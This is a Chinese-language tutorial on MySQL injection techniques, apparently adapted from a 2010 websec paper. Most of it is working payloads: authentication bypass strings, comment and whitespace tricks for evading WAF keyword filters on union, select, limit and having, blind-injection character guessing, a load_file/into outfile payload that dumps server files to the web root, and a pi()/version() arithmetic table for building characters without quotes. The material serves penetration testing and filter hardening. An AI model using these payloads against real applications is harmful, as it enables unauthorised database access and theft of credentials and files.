MySQL注入技巧

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摘要

原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf也可以参考瞌腄龙的mysql注入科普:http://drops.wooyun.org/tips/123

原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf

0x00、介绍


也可以参考瞌腄龙的mysql注入科普:http://drops.wooyun.org/tips/123

很多东西都是一样的,但是有一些小技巧确实很使用。

以下所有技巧都只在mysql适用,因为它太灵活了

0x01 MYSQl灵活的语法


1 MySQL语法以及认证绕过

注释符:

#  -- X(X为任意字符) /*(MySQL-5.1) ;%00 ` 'or 1=1;%00 'or 1=1 union select 1,2`' 'or 1=1 # '/*!50000or*/ 1=1 -- -      //版本号为5.1.38时只要小于50138 '/*!or*/ 1=1 -- - 

前缀:

任意混合+ - ~ !

'or --+2=- -!!!'2 

测试后发现and/or后面可以跟上偶数个!、~可以替代空格,也可以混合使用(混合后规律又不同),and/or前的空格可以省略

'or- -!!!1=1 

运算符:

^, =, !=, %, /, *, &, &&, |, ||, <, >, <<, >>, >=, <=, <>, <=>, XOR,DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN,……  'or 1 rlike '1 

空格替换:%20, %09, %0a, %0b, %0c, %0d, %a0

也可以插入括号,前缀,操作符,引号

'or+(1)sounds/**/like"1"--%a0- 

字符串格式

    ' or "a"='a'     ' or 'a'=n'a'               //unicode     ' or 'a'=b'1100001'         //binary     ' or 'a'=_binary'1100001'   //5.5.41下测试无效     ' or 'a'=x'61'              //16进制 

2、MySQL常用的一些小工具

常量:true, false, null, /N, current_timestamp....

变量:@myvar:=1

系统变量:@@version, @@datadir....

常用函数:version(), pi(), pow(), char(), substring()....

3、MySQL类型转换

' or 1=true #true=1, false=0 ' or 1 #true ' or version()=5.5 #5.5.41-log  ' or round(pi(),1)+true+true+0.4=version() #3.1+1+1+0.4  select * from users where 'a'='b'='c' select * from users where ('a'='b')='c' select * from users where (false)='c' select * from users where (0)='c' select * from users where (0)=0 select * from users where true select * from users 

以上的语句都是同样的效果

4、认证绕过

绕过语句:'='

select data from users where name="=" select data from users where flase="  select data from users where 0=0 

绕过语句:'-'

select data from users where name=''-'' select data from users where name=0-0 select data from users where 0=0 

0x02 关键字过滤


空格

过滤代码//s/

%20, %09, %0a, %0b, %0c, %0d, %a0 

关键字OR,AND

过滤代码//sor/s/i,//sand/s/i

'||1='1     #or '=' '&&1='1     #and 

关键字union select

过滤代码/union/s+select/i

'and(true)like(false)union(select(pass)from(users))# 'union [all|distinct] select pass from users# 'union%a0select pass from users# 'union/*!select*/pass from users# /vuln.php?id=1 union/*&sort=*/select pass from users-- - 

如果单独过滤union,使用盲注来获取数据

'and(select pass from users limit 1)='secret 

通过子查询获取单值来进行比较

关键字limit

过滤代码/limit/i

'and(select pass from users where id=1)='a 'and(select pass from users group by id having id=1)='a 'and length((select pass from users having substr(pass,1,1)='a')) 

关键字having

过滤代码/having/i

'and(select substr(group_concat(pass),1,1)from users)='a 

关键字select ... from

过滤代码/SELECT/s+[A-Za-z.]+/s+FROM/i/i

select [all|distinct] pass from users select`table_name`from`information_schema` . `tables` select pass as alias from users select pass aliasalias from users select pass`alias alias`from users select+pass%a0from(users) 

关键字select

过滤代码/select/i

1 有文件读取权限

' and substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+ length('DocumentRoot'),10)='a'='' into outfile '/var/www/dump.txt 

2 获取列名

' and 列名 is not null# ' procedure analyse()# 

使用substr来做过滤条件

'and substr(pass,1,1)='a 

关键字select,and,&

'0#

select data from users where name = ''-0 # int typecast select data from users where name = 0 # int typecast select data from users where 0 = 0 # true 

'-1#

select data from users where 0 = -1 # false 

使用条件判断来进行true、false的选择

    ifnull(nullif()), case whenif()     '-if(name='Admin',1,0)# 

使用嵌套条件'-if(

if(name='Admin',1,0), // condition if(substr(pass,1,1)='a',1,0) // if true ,0)# // if false     

0x03 函数过滤


构建字符串相关函数

unhex char hex ascii ord substr substring mid pad left right insert ' and substr(data,1,1) = 'a'# ' and substr(data,1,1) = 0x61# 0x6162 ' and substr(data,1,1) = unhex(61)# unhex(6162) ' and substr(data,1,1) = char(97)# char(97,98) ' and hex(substr(data,1,1)) = 61# ' and ascii(substr(data,1,1)) = 97# ' and ord(substr(data,1,1)) = 97# 

使用conv来进行进制的转换

' and substr(data,1,1) = lower(conv(10,10,36))# 'a' ' and substr(data,1,1) = lower(conv(11,10,36))# 'b' ' and substr(data,1,1) = lower(conv(36,10,36))# 'z' 

使用函数来猜解数据

' and substr(data,1,1) = 'a'# ' and substring(data,1,1) = 'a'# ' and mid(data,1,1) = 'a'# 

不适用逗号来获取

' and substr(data from 1 for 1) = 'a'# 

同样也可以使用一下比较少见的函数来尝试绕过

lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi' rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??' left(data,1) reverse(right(reverse(data),1)) insert(insert(version(),1,0,space(0)),2,222,space(0)) 

有些函数有类似搜索匹配的功能

'-if(locate('f',data),1,0)# '-if(locate('fo',data),1,0)# '-if(locate('foo',data),1,0)# instr(), position() 

使用函数进行字符串的切割

length(trim(leading 'a' FROM data)) # length will be shorter length(replace(data, 'a', '')) # length will be shorter 

2种方式都是相同效果

0x04 注入时主要使用的一些东西


1个控制流程操作(select, case, if(), ...) 1个比较操作(=, like, mod(), ...) 1个字符串的猜解(mid(), left(), rpad(), …) 1个字符串生成(0x61, hex(), conv()) 

使用conv([10-36],10,36)可以实现所有字符的表示

false !pi()           0     ceil(pi()*pi())           10 A      ceil((pi()+pi())*pi()) 20       K true !!pi()           1     ceil(pi()*pi())+true      11 B      ceil(ceil(pi())*version()) 21   L true+true             2     ceil(pi()+pi()+version()) 12 C      ceil(pi()*ceil(pi()+pi())) 22   M floor(pi())           3     floor(pi()*pi()+pi())     13 D      ceil((pi()+ceil(pi()))*pi()) 23 N ceil(pi())            4     ceil(pi()*pi()+pi())      14 E      ceil(pi())*ceil(version()) 24   O floor(version())      5     ceil(pi()*pi()+version()) 15 F      floor(pi()*(version()+pi())) 25 P ceil(version())       6     floor(pi()*version())     16 G      floor(version()*version()) 26   Q ceil(pi()+pi())       7     ceil(pi()*version())      17 H      ceil(version()*version()) 27    R floor(version()+pi()) 8     ceil(pi()*version())+true 18 I      ceil(pi()*pi()*pi()-pi()) 28    S floor(pi()*pi())      9     floor((pi()+pi())*pi())   19 J      floor(pi()*pi()*floor(pi())) 29 T 

更多详细的东西可以参考原文去了解,还有一些其他的注入资料可以参考

http://www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf  https://media.blackhat.com/bh-us-12/Briefings/Ristic/BH_US_12_Ristic_Protocol_Level_Slides.pdf  http://www.blackhatlibrary.net/SQL_injection  http://websec.ca/kb/sql_injection 

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